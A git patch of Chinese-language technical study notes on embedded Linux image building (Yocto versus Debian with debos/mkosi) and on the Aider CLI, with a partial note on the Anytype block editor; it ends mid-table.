2 年 → 合计 ~5 年,接近 Yocto LTS,但**你不必自己 backport 上游补丁** + +关键澄清:**不是** 给设备插 U 盘跑 Debian Installer。而是在构建机上生成 **可刷写镜像**,再烧录到设备。组成四块: + +1. Bootloader(通常 SoC 专用,如 U-Boot) +2. Linux kernel(通常 SoC 专用) +3. Rootfs(用户空间直接来自 Debian) +4. **镜像组装工具**:`mkosi`、`ELBE`、`debos` + +维护形态更像 **`apt` 更新包 + 重新 roll 镜像**,而不是重写 BitBake recipe。 + +### debos 工作流(文章推荐的具体路径) + +1. 用 **aptly** 建本地 Debian 镜像,收录所需包 +2. 把自研 kernel(及可选 bootloader)打成 **Debian 包** 放进镜像 +3. 给镜像 **打 tag / snapshot** → 即一次 release +4. 用 **debos** YAML recipe 产出目标镜像 +5. 按需归档源码包 + **SBOM**(如 `debsbom`),满足 GPL 源码提供与 CRA 物料清单 + +--- + +## 代码示例 1:debos YAML — 最小 arm64 根文件系统镜像 + +下面是一个**教学用**的 debos recipe 骨架,展示「从 Debian 包列表生成 ext4 根分区」的思路(字段需按你的 aptly 镜像 URL 和架构调整): + +```yaml +architecture: arm64 + +actions: + - action: debootstrap + suite: bookworm + components: + - main + mirror: http://127.0.0.1:8080/debian + variant: minbase + + - action: apt + update: true + recommend: false + packages: + - systemd + - openssh-server + - python3 + - your-app + + - action: image-partition + imagename: debian-arm64-product + imagesize: 512MB + partitiontype: gpt + partitions: + - name: root + fs: ext4 + start: 64MB + size: 448MB + mountpoint: / + + - action: filesystem-deploy + description: Deploy root filesystem to partition +``` + +要点: + +- `debootstrap` + `apt` 等价于「在 chroot 里装 Debian」,**不编译整个 world** +- `image-partition` + `filesystem-deploy` 产出可刷写的分区镜像 +- 发布 = 更新 aptly snapshot 的 tag + 重跑 debos + +--- + +## 代码示例 2:Yocto — 许可证排除与镜像定制(何时真的需要 Yocto) + +医疗、汽车、部分国防场景可能 **禁止 GPLv3**。Yocto 可用 `INCOMPATIBLE_LICENSE` 在**全镜像范围**排除某类许可证 — 这是「需要 Yocto」的典型论据之一。 + +在 `local.conf` 或 distro 配置中: + +```bitbake +# 禁止 GPLv3 及更高版本进入镜像(示例,需按法务要求调整) +INCOMPATIBLE_LICENSE = "GPL-3.0-only GPL-3.0-or-later AGPL-3.0-only" +INCOMPATIBLE_LICENSE_EXCEPTIONS = "bash" + +# 典型产品镜像:只保留运行时需要的包组 +IMAGE_INSTALL:append = " \ + openssh \ + python3 \ + your-app \ +" + +# 缩小体积:去掉文档、locale、静态库 dev 包 +INHERIT += "rm_work" +IMAGE_LINGUAS = "" +BAD_RECOMMENDATIONS += "packagegroup-base-extended" +``` + +对比 Debian 路径:你要 **自己审计** 哪些包装了 GPLv3 依赖并 trim — 可行但繁琐;当排除规则复杂、且还需深度改 compile flags 时,Yocto 的 recipe 模型更擅长**规模化**定制。 + +--- + +## 代码示例 3(补充):mkosi 声明式镜像片段 + +`mkosi` 近年也常被提及(systemd 生态)。极简 `mkosi.conf` 示意: + +```ini +[Distribution] +Distribution=debian +Release=bookworm + +[Output] +Format=disk +Bootable=yes + +[Content] +Packages=systemd + openssh-server + your-app +WithUnifiedKernelImages=yes +``` + +与 debos 类似:**声明「要什么包」**,工具负责 rootfs + 分区/引导结构;差异在配置风格与 systemd 集成深度,选型看团队现有工具链。 + +--- + +## 决策矩阵:什么时候用 / 不用 Yocto + +### 用 Yocto(或 Buildroot 等「从源码拼发行版」) + +| 场景 | 原因 | +|------|------| +| 深度定制用户空间、编译选项、基础组件 | Recipe 模型为「改一切」而生 | +| 严格的体积 / 启动时间,现成 distro 达不到 | 可剔到只剩必要 bits | +| 许可证政策排除 GPLv3 等,且规则复杂 | `INCOMPATIBLE_LICENSE` 等机制 | +| 需要 musl / uClibc 等非 glibc | Debian 主 archive 围绕 glibc | +| 需要比 Debian stable 新得多的 toolchain/runtime | stable 会「拖后腿」 | +| SoC 官方支持路径就是 Yocto,且 BSP 质量可靠 | 减少 bring-up 风险 | + +### 跳过 Yocto + +| 场景 | 原因 | +|------|------| +| 只需要现代 Linux 跑应用 | Debian 用户空间 + 厂商 kernel 即可 | +| Flash ≥ 数百 MB、RAM ≥ 256 MiB | 容得下标准 Debian 系镜像 | +| 产品寿命长,愿依赖 Debian Security Team | 避免自建 backport 流水线 | +| 团队没有专职 embedded Linux 工程师 | BitBake 上手成本过高 | + +### 跳过 Debian(但仍可能不用 Yocto) + +| 场景 | 原因 | +|------|------| +| 需要重编/大改 Debian 里大量包 | 等于把 Debian 维护者的工作抢过来;数十个包时 Yocto 更干净 | +| 强依赖非 glibc | 见上 | +| 强依赖 bleeding-edge 编译器 | Debian stable 不合适 | + +**Buildroot** 文章一并点名:比 Yocto 轻,但「自己拼发行版 → 自己维护」的逻辑相同;OTA、fleet 管理、CRA 下的 SBOM 仍要另建。 + +--- + +## 与 CRA / 合规的关联(零基础也要知道) + +「能刷机启动」不等于「能合法、安全地卖十年」。CRA 等法规把焦点放在: + +- **已知漏洞的及时修复** +- **软件物料清单(SBOM)** +- **可追溯的发布物** + +Yocto 路径:你负责 recipe 树、补丁队列、LTS 迁移、自研组件 CVE。 + +Debian + debos 路径: + +- 安全更新大量来自 **Debian Security Team / LTS** +- 发布 = aptly snapshot tag + 镜像 rebuild +- `debsbom` 等工具从已安装包生成 SBOM + +两条路都能合规;差别在于 **谁替你扛日常 patch 工作**。 + +--- + +## 迁移方向:文章的战略建议 + +> **尽早、有意识地选型** — 产品出厂后很难回头。 + +- **拿不准时,先上成熟发行版**;真有理由再迁 Yocto,比中途发现「为不需要的控制力付了多年维护税」便宜得多。 +- **从 Yocto 迁到 Debian** 往往比反向迁移更痛苦 — 因为前者已嵌入大量本地 recipe 知识。 + +sigma star 的立场很直白: + +- 客户**确实**要 custom distro → 他们推荐 Yocto +- 其余客户 → 持续问:**你真的需要吗?** + +--- + +## 常见误区(零基础自检) + +| 误区 | 事实 | +|------|------| +| 「嵌入式 = 必须 Yocto」 | 很多网关、HMI、边缘盒只需「Linux + 我的程序」 | +| 「Yocto LTS = 我不用管安全」 | 本地 patch/pin 使每次维护版都是合并考试 | +| 「Debian 太大装不进」 | minbase + 精选包 + 自定义 kernel 可做到产品级体积 | +| 「debos 是装 Debian 的安装器」 | 它是**构建主机上**生成 flashable image 的工具 | +| 「vendor 内核最省心」 | 常多年落后、少安全修复;LTS + patch queue 通常更可控 | + +--- + +## 动手清单:读完这篇后可以做什么 + +1. **写一页真实需求**:应用是什么?Flash/RAM?生命周期几年?能否接受 GPLv3?SoC 官方 BSP 形态? +2. **估维护人力**:有没有人能持续跟 BitBake + kernel CVE?还是更愿意 `apt upgrade` + 重打镜像? +3. **做 spike**:同一硬件上并行试 **debos 最小镜像** vs **Poky minimal**,记录 clean build 时间、镜像大小、团队上手天数。 +4. **定发布物**:无论哪条路,第一次 release 就带上 **SBOM + 源码归档策略**,别等 CRA 审计临头再补。 + +--- + +## 小结 + +| 要点 | 一句话 | +|------|--------| +| Yocto 本质 | 造发行版的工具箱,不是现成发行版 | +| 最大陷阱 | 不需要的灵活性 → 多年的自建维护 | +| 常见替代 | Debian 用户空间 + SoC kernel/bootloader + debos/mkosi/ELBE | +| 真正需要 Yocto 时 | 深度定制、极端体积/启动、复杂许可证、非 glibc、优质 BSP 绑定 | +| 文章结论 | **You probably don't need Yocto, and that's fine.** | + +Yocto 是remarkable engineering;问题在于当你不需要「恰好那一版 Linux」时,它变成 **用极贵的方式解决不存在的问题**。对多数「在 Linux 上跑我的应用」的嵌入式项目,成熟发行版 + 确定性镜像构建,是更省 engineering overhead 的起点 — 而这不是偷懒,是** conscious choice**。 + +--- + +## 参考与延伸阅读 + +- 原文:[You probably don't need Yocto, and that's fine](https://sigma-star.at/blog/2026/05/you-probably-dont-need-yocto-and-thats-fine/)(sigma star gmbh, 2026-05-26) +- Yocto Project 官方文档:https://docs.yoctoproject.org/ +- debos:https://github.com/go-debos/debos +- mkosi:https://github.com/systemd/mkosi +- ELBE:https://www.elbe-rfs.org/ +- EU Cyber Resilience Act:Regulation (EU) 2024/2847 From 144eda76c3788d7e57cce883ffb8a3f1687e5fd0 Mon Sep 17 00:00:00 2001 From: estelledc Date: Sat, 13 Jun 2026 12:27:32 +0800 Subject: [PATCH 03/49] =?UTF-8?q?feat:=20pipeline=20v3=20=E6=89=B9?= =?UTF-8?q?=E9=87=8F=E6=96=B0=E5=A2=9E=20projects=20=E9=9B=B6=E5=9F=BA?= =?UTF-8?q?=E7=A1=80=E7=AC=94=E8=AE=B0=EF=BC=88=E7=AC=AC=202=20=E8=BD=AE?= =?UTF-8?q?=EF=BC=89?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 覆盖 AI 编码助手、云 IDE、块笔记、嵌入式/机器人等约 42 个项目笔记,并微调 browser-use 条目。 Co-authored-by: Cursor --- src/content/docs/projects/aider.md | 267 ++++++++++++ src/content/docs/projects/anytype-ts.md | 337 ++++++++++++++ src/content/docs/projects/boa-engine.md | 302 +++++++++++++ src/content/docs/projects/browser-use.md | 2 +- src/content/docs/projects/cline.md | 290 ++++++++++++ src/content/docs/projects/cmsis-nn.md | 376 ++++++++++++++++ src/content/docs/projects/code-server.md | 323 ++++++++++++++ src/content/docs/projects/coder.md | 347 +++++++++++++++ src/content/docs/projects/drizzle-orm.md | 360 +++++++++++++++ src/content/docs/projects/eclipse-che.md | 312 +++++++++++++ src/content/docs/projects/esp-dl.md | 307 +++++++++++++ src/content/docs/projects/flame.md | 411 ++++++++++++++++++ src/content/docs/projects/foam.md | 330 ++++++++++++++ src/content/docs/projects/gazebo-classic.md | 379 ++++++++++++++++ src/content/docs/projects/ghostwriter.md | 335 ++++++++++++++ src/content/docs/projects/gitpod.md | 350 +++++++++++++++ src/content/docs/projects/grbl.md | 299 +++++++++++++ src/content/docs/projects/joplin.md | 324 ++++++++++++++ src/content/docs/projects/klipper.md | 283 ++++++++++++ src/content/docs/projects/linuxcnc.md | 268 ++++++++++++ src/content/docs/projects/logseq.md | 258 +++++++++++ src/content/docs/projects/lora-mac-node.md | 244 +++++++++++ src/content/docs/projects/marktext.md | 303 +++++++++++++ src/content/docs/projects/marlin.md | 246 +++++++++++ src/content/docs/projects/mosquitto.md | 281 ++++++++++++ src/content/docs/projects/moveit2.md | 357 +++++++++++++++ src/content/docs/projects/nanomq.md | 313 +++++++++++++ src/content/docs/projects/navigation2.md | 385 ++++++++++++++++ src/content/docs/projects/ncnn.md | 250 +++++++++++ src/content/docs/projects/opencode.md | 324 ++++++++++++++ .../docs/projects/openvscode-server.md | 372 ++++++++++++++++ src/content/docs/projects/paddle-lite.md | 269 ++++++++++++ src/content/docs/projects/pyston.md | 342 +++++++++++++++ src/content/docs/projects/roo-code.md | 320 ++++++++++++++ src/content/docs/projects/ros2.md | 345 +++++++++++++++ src/content/docs/projects/sdk-nrf.md | 239 ++++++++++ src/content/docs/projects/silverbullet.md | 299 +++++++++++++ src/content/docs/projects/tflite-micro.md | 282 ++++++++++++ src/content/docs/projects/tinygo.md | 304 +++++++++++++ src/content/docs/projects/twgl.md | 324 ++++++++++++++ src/content/docs/projects/void.md | 318 ++++++++++++++ src/content/docs/projects/webdriverio.md | 292 +++++++++++++ src/content/docs/projects/zettlr.md | 294 +++++++++++++ 43 files changed, 13162 insertions(+), 1 deletion(-) create mode 100644 src/content/docs/projects/aider.md create mode 100644 src/content/docs/projects/anytype-ts.md create mode 100644 src/content/docs/projects/boa-engine.md create mode 100644 src/content/docs/projects/cline.md create mode 100644 src/content/docs/projects/cmsis-nn.md create mode 100644 src/content/docs/projects/code-server.md create mode 100644 src/content/docs/projects/coder.md create mode 100644 src/content/docs/projects/drizzle-orm.md create mode 100644 src/content/docs/projects/eclipse-che.md create mode 100644 src/content/docs/projects/esp-dl.md create mode 100644 src/content/docs/projects/flame.md create mode 100644 src/content/docs/projects/foam.md create mode 100644 src/content/docs/projects/gazebo-classic.md create mode 100644 src/content/docs/projects/ghostwriter.md create mode 100644 src/content/docs/projects/gitpod.md create mode 100644 src/content/docs/projects/grbl.md create mode 100644 src/content/docs/projects/joplin.md create mode 100644 src/content/docs/projects/klipper.md create mode 100644 src/content/docs/projects/linuxcnc.md create mode 100644 src/content/docs/projects/logseq.md create mode 100644 src/content/docs/projects/lora-mac-node.md create mode 100644 src/content/docs/projects/marktext.md create mode 100644 src/content/docs/projects/marlin.md create mode 100644 src/content/docs/projects/mosquitto.md create mode 100644 src/content/docs/projects/moveit2.md create mode 100644 src/content/docs/projects/nanomq.md create mode 100644 src/content/docs/projects/navigation2.md create mode 100644 src/content/docs/projects/ncnn.md create mode 100644 src/content/docs/projects/opencode.md create mode 100644 src/content/docs/projects/openvscode-server.md create mode 100644 src/content/docs/projects/paddle-lite.md create mode 100644 src/content/docs/projects/pyston.md create mode 100644 src/content/docs/projects/roo-code.md create mode 100644 src/content/docs/projects/ros2.md create mode 100644 src/content/docs/projects/sdk-nrf.md create mode 100644 src/content/docs/projects/silverbullet.md create mode 100644 src/content/docs/projects/tflite-micro.md create mode 100644 src/content/docs/projects/tinygo.md create mode 100644 src/content/docs/projects/twgl.md create mode 100644 src/content/docs/projects/void.md create mode 100644 src/content/docs/projects/webdriverio.md create mode 100644 src/content/docs/projects/zettlr.md diff --git a/src/content/docs/projects/aider.md b/src/content/docs/projects/aider.md new file mode 100644 index 000000000..73cbbf36f --- /dev/null +++ b/src/content/docs/projects/aider.md @@ -0,0 +1,267 @@ +--- +title: Aider — 终端 AI 结对编程 CLI +来源: https://github.com/Aider-AI/aider +日期: 2026-06-13 +子分类: 编辑器与 IDE +分类: CLI +provenance: pipeline-v3 +--- + +## 日常类比:坐在你旁边的「会改代码的搭档」 + +想象你在写一份重要文档,旁边坐着一位资深同事。你指着屏幕说:「帮我把第三章改成表格形式,顺便检查一下引用格式。」同事不会替你重写整本书——他**只动你点名的章节**,改完还会在版本历史里留一条清晰的 commit,方便你 `git diff` 或一键撤销。 + +**Aider 就是终端里的这位搭档。** 你在项目目录里启动它,用自然语言描述需求;它连接 Claude、GPT、DeepSeek 等 LLM,**直接编辑本地 Git 仓库里的文件**,并自动提交变更。没有 IDE 插件、没有浏览器标签页——只有 shell、代码和对话。官方 slogan 是 *AI pair programming in your terminal*;GitHub 仓库 [Aider-AI/aider](https://github.com/Aider-AI/aider) 是 Python 实现的开源项目(PyPI 包名 `aider-chat`),在终端工作流、Git 原生集成和「只改该改的文件」这几件事上做得非常专注。 + +--- + +## 这个项目解决什么问题 + +### 痛点 1:AI 聊天和实际改代码之间隔着复制粘贴 + +网页版 ChatGPT 能给出建议,但你要自己打开编辑器、找文件、粘贴 diff、跑测试。Aider 把「对话 → 编辑 → 提交」收成一条链路:模型输出的是对你仓库里**真实路径**的修改,终端里就能看到 unified diff,确认后写入磁盘。 + +### 痛点 2:大仓库里 LLM 容易「迷路」 + +把整个 monorepo 塞进 context 既贵又乱。Aider 会构建 **Repo Map(仓库地图)**——用 tree-sitter 解析代码结构,把类、函数、文件关系压缩成摘要,让模型在大型项目里也能定位该改哪里。你只需用 `/add` 明确「允许编辑的文件」,相关上下文会自动从地图里拉进来。 + +### 痛点 3:AI 改坏了不好回滚 + +Aider **默认每次成功编辑后自动 `git commit`**,并生成描述性提交信息。不满意就用 `/undo` 撤销上一次 aider 提交,或用熟悉的 Git 工具审查历史。这和「AI 直接覆盖文件、没有版本线」的工具形成鲜明对比。 + +### 痛点 4:只想问问题,不想动代码 + +不是每次对话都要改文件。Aider 提供 **chat mode**:`/ask` 只读问答、`/code` 进入编辑模式、`/architect` 用「架构师 + 编辑者」双模型分工。同一 session 里可以切换模型(`/model`)和模式,而不必重启进程。 + +--- + +## 核心概念拆解 + +### 1. Chat Session 与「加入聊天的文件」 + +启动时可以带文件参数:`aider src/auth.py tests/test_auth.py`。这些文件进入 **chat session**,模型可见全文并有权编辑。原则:**只 add 需要改的文件**——加太多会浪费 token、增加混淆。未 add 的文件仍可通过 Repo Map 提供结构信息。 + +### 2. Repo Map + +启动时终端会显示类似 `Repo-map: using 1024 tokens` 的提示。地图是 Aider 对全仓库的压缩索引,帮助模型理解「`UserService` 在哪个文件」「谁调用了这个函数」。可用 `/map` 查看、`/map-refresh` 强制刷新。 + +### 3. Main Model 与 Weak Model + +Aider 可同时配置**主模型**(负责复杂编辑)和**弱模型**(处理简单任务如 commit message、部分辅助推理),在成本与质量之间折中。命令行 `--model` 指定主模型,`/weak-model` 在会话中切换弱模型。 + +### 4. Edit Format(编辑格式) + +不同 LLM 对「如何表达补丁」能力不同。Aider 支持多种 **edit format**(如 diff、whole file、architect 模式下的分工格式),可通过 `--edit-format` 或 `.aider.conf.yml` 配置,影响准确率和 token 消耗。 + +### 5. 自动 Git 集成 + +在 Git 仓库内运行时,Aider 会检测 `.git`,在每次应用 AI 编辑后 commit。可用 `--no-auto-commits` 关闭,或用 `/commit` 手动提交你在 chat 外做的改动。`/diff` 查看自上次消息以来的变更。 + +### 6. 斜杠命令(Slash Commands) + +会话内以 `/` 开头的指令控制行为,例如 `/add`、`/drop`、`/lint`、`/test`、`/run`、`/web`(抓取网页转 markdown 进上下文)、`/voice`(语音输入)。完整列表见 [官方命令文档](https://aider.chat/docs/usage/commands.html)。 + +### 7. 配置文件 `.aider.conf.yml` + +Aider 按顺序查找:Git 根目录 → 当前工作目录 → `~/.aider.conf.yml`。可固定默认模型、是否 auto-lint、test 命令、edit format 等,避免每次敲一长串 flags。 + +### 8. Architect 模式 + +`/architect` 启用**双模型工作流**:一个模型像架构师一样规划改动,另一个模型像编辑者一样落地到文件。适合跨多文件、需要先设计再实现的重构,比单模型直接改更稳。 + +### 9. Watch Files 与 AI 注释 + +`aider --watch-files` 会监视源文件;以 `# ...` 或 `// ...` 开头/结尾且含 **AI** 字样的行会被当作给 Aider 的指令(`AI!` 会触发读取文件中所有 AI 注释)。适合在 IDE 里写注释、在终端让 Aider 执行。 + +### 10. 与 IDE 的关系 + +Aider **不绑定编辑器**:[[vscode]]、Neovim、JetBrains 随便用。常见用法是开两个窗格——一边编辑器,一边 `aider` 终端。也有 `--browser` 实验性 Web UI,但核心体验仍是 CLI。 + +--- + +## 安装与首次运行 + +官方推荐 Python 3.9–3.12 与 Git。安装方式(任选其一): + +```bash +# 方式 A:官方安装脚本(会处理依赖) +python -m pip install aider-install +aider-install + +# 方式 B:pipx 隔离安装(Linux/macOS 常用) +pipx install aider-chat + +# 方式 C:Homebrew(macOS) +brew install aider +``` + +进入**已是 Git 仓库**的项目目录,设置 API Key 并启动(Key 也可写在环境变量或 `.aider.conf.yml` 中): + +```bash +cd ~/projects/my-app + +# Claude Sonnet 示例 +export ANTHROPIC_API_KEY=sk-ant-... +aider --model sonnet + +# 或 OpenAI +export OPENAI_API_KEY=sk-... +aider --model gpt-4o + +# 启动时就把待编辑文件加入 session +aider --model sonnet src/api/routes.py tests/test_routes.py +``` + +首次运行会提示安装可选 extras(help、browser、playwright 等),按需选择即可。 + +--- + +## 代码示例 1:从零让 Aider 写一个 Python 脚本 + +下面是一次完整交互的简化再现。在空仓库或练习目录中: + +```bash +git init factorial-demo && cd factorial-demo +aider --model sonnet factorial.py +``` + +在 `>` 提示符下输入: + +```text +> 写一个 Python 程序:询问用户输入一个非负整数 n,计算 n! 并打印。 +> 如果输入非法(负数或非整数)要友好提示。顺便加一个 if __name__ == "__main__" 入口。 +``` + +Aider 会展示对 `factorial.py` 的 diff,确认后写入并 **auto-commit**。终端输出类似: + +```text +Commit 3a1f2b8 feat: Add factorial CLI with input validation +Added factorial.py to the chat. +``` + +本地验证: + +```bash +python factorial.py +# 输入 5 → 120 + +git log --oneline -1 # 看到 aider 的提交 +aider> /undo # 若不满意,在 aider 里撤销该 commit +``` + +这个例子体现 Aider 的基本循环:**自然语言需求 → diff 预览 → 写盘 → git commit**。 + +--- + +## 代码示例 2:在现有项目中加功能并跑测试 + +假设已有 Flask 项目,需要给 `/health` 增加 JSON 字段。只把相关文件加入 chat: + +```bash +cd ~/projects/my-api +aider app/routes.py tests/test_health.py +``` + +```text +> /ask 先看一下:现在 /health 返回什么结构?别改文件。 +# 模型只读分析… + +> /code 给 /health 响应加上 "version": "1.2.0" 和 ISO8601 的 "timestamp"。 +> 同步更新 tests/test_health.py 里的断言。 + +> /test pytest tests/test_health.py -q +# 若测试失败,Aider 会把 stderr 放进上下文并尝试修复 + +> /lint +# 对 chat 中的文件跑 linter 并自动修 +``` + +若测试命令常要用,可写入 `~/.aider.conf.yml`: + +```yaml +# ~/.aider.conf.yml 片段 +model: sonnet +auto-test: true +test-cmd: pytest -q +auto-lint: true +lint-cmd: ruff check --fix +``` + +这样每次 AI 改完代码后会**自动跑测试和 lint**,失败则进入修复循环——类似「搭档改完代码顺手帮你跑一遍 CI」。 + +--- + +## 常用斜杠命令速查 + +| 命令 | 作用 | +|------|------| +| `/add ` | 把文件加入可编辑 session | +| `/drop ` | 移出 session,节省 token | +| `/ask` | 只问不改 | +| `/code` | 请求改代码 | +| `/architect` | 双模型规划+编辑 | +| `/model ` | 切换主模型 | +| `/tokens` | 查看当前 context 用量 | +| `/undo` | 撤销上一次 aider 的 git commit | +| `/diff` | 查看变更 diff | +| `/run ` | 执行 shell,输出可选入 chat | +| `/web ` | 抓取网页作参考 | +| `/save ` | 导出可重建 session 的命令列表 | +| `/load ` | 批量执行 slash 命令 | + +--- + +## 与其他工具怎么选 + +| 维度 | Aider | IDE 内置 AI(Copilot 等) | Cursor / Windsurf | +|------|-------|---------------------------|-------------------| +| 运行位置 | 终端 CLI | 编辑器内 | 独立 IDE | +| Git 集成 | 自动 commit,/undo | 视产品而定 | 内置 VCS | +| 仓库规模 | Repo Map 压缩全库 | 通常当前文件/打开文件 | 全库索引 | +| 适合谁 | 终端党、脚本化、多编辑器 | 日常补全 | AI-first 开发 | + +Aider **不提供**行内 ghost text 补全;它的强项是**多文件编辑、Git 可追溯、可脚本化**(如 `aider --message "fix bug #42" --exit` 非交互跑一轮)。若你主要生活在 shell、tmux 或远程 SSH 环境,Aider 往往比「再开一个重型 IDE」更轻。 + +--- + +## 成本、隐私与本地模型 + +- **云模型**:按 token 计费;简单任务可 `/model` 切到更便宜的模型,复杂重构再用 Sonnet/GPT-4o。Anthropic 用户可开 `--cache-prompts` 降低重复 context 成本。 +- **本地模型**:Aider 支持 Ollama、LM Studio 等 OpenAI 兼容端点,适合不能把代码送出内网的场景: + +```bash +aider --model ollama_chat/qwen2.5-coder:7b \ + --openai-api-base http://127.0.0.1:11434/v1 \ + --openai-api-key dummy +``` + +- **隐私**:代码会发往你所选 LLM 提供商;敏感项目用本地模型或自建 API,并阅读各厂商数据政策。 + +--- + +## 实践建议(零基础上手) + +1. **一定要在 Git 仓库里用**——否则失去 auto-commit / undo 这条安全网;新项目先 `git init`。 +2. **少 add、精 add**——只加待改文件;让 Repo Map 承担「了解其余代码」的工作。 +3. **小步提交**——一次对话一个清晰目标,便于 `/undo` 和 code review。 +4. **配置写进 `.aider.conf.yml`**——模型、lint、test 命令固定下来,团队可共享模板。 +5. **善用 `/ask` 再 `/code`**——先只读搞清结构,再动手改,减少误改。 +6. **大重构用 `/architect`**——规划与执行分离,降低「一次 diff 改崩全文件」的风险。 +7. **结合 CI 习惯**——设置 `auto-test` / `auto-lint`,让 AI 编辑和工程质量门禁绑在一起。 + +--- + +## 进一步阅读 + +- 官网与文档:[aider.chat](https://aider.chat/) +- GitHub:[Aider-AI/aider](https://github.com/Aider-AI/aider) +- 安装详解:[Installation](https://aider.chat/docs/install.html) +- 用法指南:[Usage](https://aider.chat/docs/usage.html) +- 配置选项:[Options reference](https://aider.chat/docs/config/options.html) +- LLM 连接:[Connecting to LLMs](https://aider.chat/docs/llms.html) + +--- + +## 小结 + +Aider 把「AI 结对编程」收敛成一件终端里就能完成的事:**你说话,它改 Git 跟踪的文件,并留下可审查的 commit 历史。** 核心抓手是 Chat Session 中的文件列表、Repo Map 的全局视野,以及 slash 命令对模式/模型/测试/lint 的精细控制。对于习惯命令行、重视版本可追溯、希望在任意编辑器旁边挂一个 AI 搭档的开发者,Aider 是值得从零掌握的基础工具之一。 diff --git a/src/content/docs/projects/anytype-ts.md b/src/content/docs/projects/anytype-ts.md new file mode 100644 index 000000000..0dcf4931c --- /dev/null +++ b/src/content/docs/projects/anytype-ts.md @@ -0,0 +1,337 @@ +--- +title: Anytype — 本地优先块编辑器 +来源: https://github.com/anyproto/anytype-ts +日期: 2026-06-13 +子分类: 编辑器与 IDE +分类: CLI +provenance: pipeline-v3 +--- + +## 日常类比:自家抽屉柜 + 乐高积木 + 加密保险箱 + +想象你在整理生活:每个抽屉是一个 **Space(空间)**——工作、家庭、读书各一屉;抽屉里不是一叠 Word,而是一排 **可拆装的乐高块**——一段文字、一张图、一张看板、一张表格,每一块都能单独挪动、复制、嵌套。更关键的是:**柜子先放在你家里(本地硬盘)**,联网只是为了和另一台设备上的「同款柜子」对账;即便断网,你照样打开抽屉写笔记。柜子上还有一把只有你知道密码的锁——**端到端加密**,服务商也读不到内容。 + +Anytype 就是这样一套 **本地优先、P2P 可选同步、零知识加密** 的个人知识操作系统。桌面客户端 [anyproto/anytype-ts](https://github.com/anyproto/anytype-ts) 用 Electron + TypeScript/React 画 UI,真正的存储、同步、加密逻辑在 Go 写的中间层 [anytype-heart](https://github.com/anyproto/anytype-heart) 里,两者通过 **gRPC** 对话。零基础路径:**装 App → 建 Space → 写 Page → 用 Type/Relation 给对象贴标签 → 用 Set/Collection 做数据库视图**;想读源码则从 Block 树 + MobX Store 入手。 + +--- + +## 这个项目解决什么问题 + +### 痛点 1:云端笔记「数据在别人服务器上」 + +Notion、Evernote 等默认把 canonical 数据放在云端。Anytype 强调 **offline-first**:中间层先把对象图写入本地,同步是附加能力;加密密钥在用户侧,符合「数字大脑应归用户所有」的产品定位。 + +### 痛点 2:块编辑器与结构化数据库割裂 + +很多工具要么是大纲块(Roam/Logseq),要么是表格库(Airtable)。Anytype 用 **同一套 Object + Block + Relation** 模型:一页笔记是块树,一个「任务 Type」可以出现在 Kanban、Calendar、Gallery 等多种 **Dataview** 视图里,无需导出到第二个 App。 + +### 痛点 3:链接/wiki 缺少强类型 + +纯 `[[wikilink]]` 难以回答「所有 status=进行中 且 截止日在本周 的任务」。Anytype 的 **Relation(关系/属性)** 给每个 Object 挂上结构化字段(日期、状态、多选标签等),**Set** 按 Type + Filter 动态聚合对象,类似「保存的查询 + 多视图仪表盘」。 + +### 痛点 4:去中心化与多设备 + +基于 **any-sync** 的 P2P 同步可选开启;同一 Any-ID 在多设备间同步 Space,而不必把原始明文交给中心化后端。桌面仓库 `anytype-ts` 是官方 macOS / Linux / Windows 客户端的开源实现(Any Source Available License 1.0)。 + +--- + +## 架构一图(桌面客户端) + +```text +┌─────────────────────────────────────────────────────────┐ +│ Electron 主进程 (electron.js) — 窗口、IPC、系统集成 │ +└───────────────────────────┬─────────────────────────────┘ + │ IPC +┌───────────────────────────▼─────────────────────────────┐ +│ React 渲染进程 (src/ts/) │ +│ · component/block/* — 19+ 种块 UI │ +│ · component/editor/page.tsx — 块编辑器 (~2600 行) │ +│ · store/block.ts (MobX) — 块树内存模型 │ +│ · lib/api/command.ts — gRPC 命令封装 │ +└───────────────────────────┬─────────────────────────────┘ + │ gRPC (+ 事件流) +┌───────────────────────────▼─────────────────────────────┐ +│ anytype-heart (Go) — 持久化、CRDT/同步、加密、搜索 │ +│ 本地 anytypeHelper 二进制 + SQLite/对象图存储 │ +└─────────────────────────────────────────────────────────┘ +``` + +**开发栈速览:** Bun 包管理、Vite 打包、TypeScript、React 18、MobX 状态、PixiJS + Web Worker 画关系图谱。改 UI 前先 `./update.sh` 拉取匹配版本的 middleware。 + +--- + +## 核心概念拆解 + +### 1. Space(空间) + +逻辑隔离单元,类似「工作区」或「保险柜分区」。每个 Space 有自己的对象图、成员与权限(共享 Space 时)。CLI/ gRPC 层通过 `ObjectSearch` 在 tech space 里列出可用 Space(见 anytype-cli 的 `ListSpaces` 实现)。 + +### 2. Object(对象) + +Anytype 里 **一切皆对象**:Page、Task、Bookmark、自定义 Type 都是 Object,有唯一 id、layout(Page/Note/Set/…)、以及一组 **Details**(键值属性,由 Relation 定义语义)。 + +### 3. Block(块) + +Object 的 **正文** 由块树组成。`src/ts/model/block.ts` 注释写得很清楚:文本、图片、链接、表格、Dataview、Chat 等每种内容都是带 `type` 与 `content` 的 Block;块通过 `parentId` / `childrenIds` 形成树,Toggle、分栏(Layout)等容器块可嵌套子块。 + +### 4. Type 与 Relation + +- **Type**:对象的「 schema 模板」,定义这类东西有哪些 Relation、默认布局、推荐块结构。 +- **Relation**:属性定义(如 `status`、`dueDate`、`author`),值存在 Object 的 details 里;Filter/Sort 都针对 Relation 运算。 + +这是 Anytype 相对纯 wikilink 笔记的核心差异:**链接 + 类型系统**。 + +### 5. Set / Collection 与 Dataview + +- **Set**:按 Type + Filter 动态收集对象(类似智能文件夹)。 +- **Collection**:手动 curated 的对象集合。 +- 二者在 UI 里常通过 **BlockDataview** 块展示,支持 Grid、List、Gallery、Board、Calendar、Graph 等 **View**;每个 View 有自己的 `filters`、`sorts`、`relations`(列定义)。 + +### 6. 本地优先与同步 + +编辑操作经 gRPC 发到 heart,**先落本地**;同步引擎在后台与 peer 交换加密 blob。前端通过 **gRPC 事件流** 收增量,MobX store 更新后 React 自动重绘——所以多端同时改同一页时,你会看到实时的块级合并结果(具体 CRDT 细节在 heart 仓库)。 + +### 7. anytype-ts 在仓库里的职责 + +| 目录 | 职责 | +|------|------| +| `src/ts/component/block/` | 各块类型 React 组件 | +| `src/ts/component/editor/` | 页面编辑器、选区、拖拽 | +| `src/ts/store/block.ts` | `blockMap` / `treeMap` 维护打开对象的块树 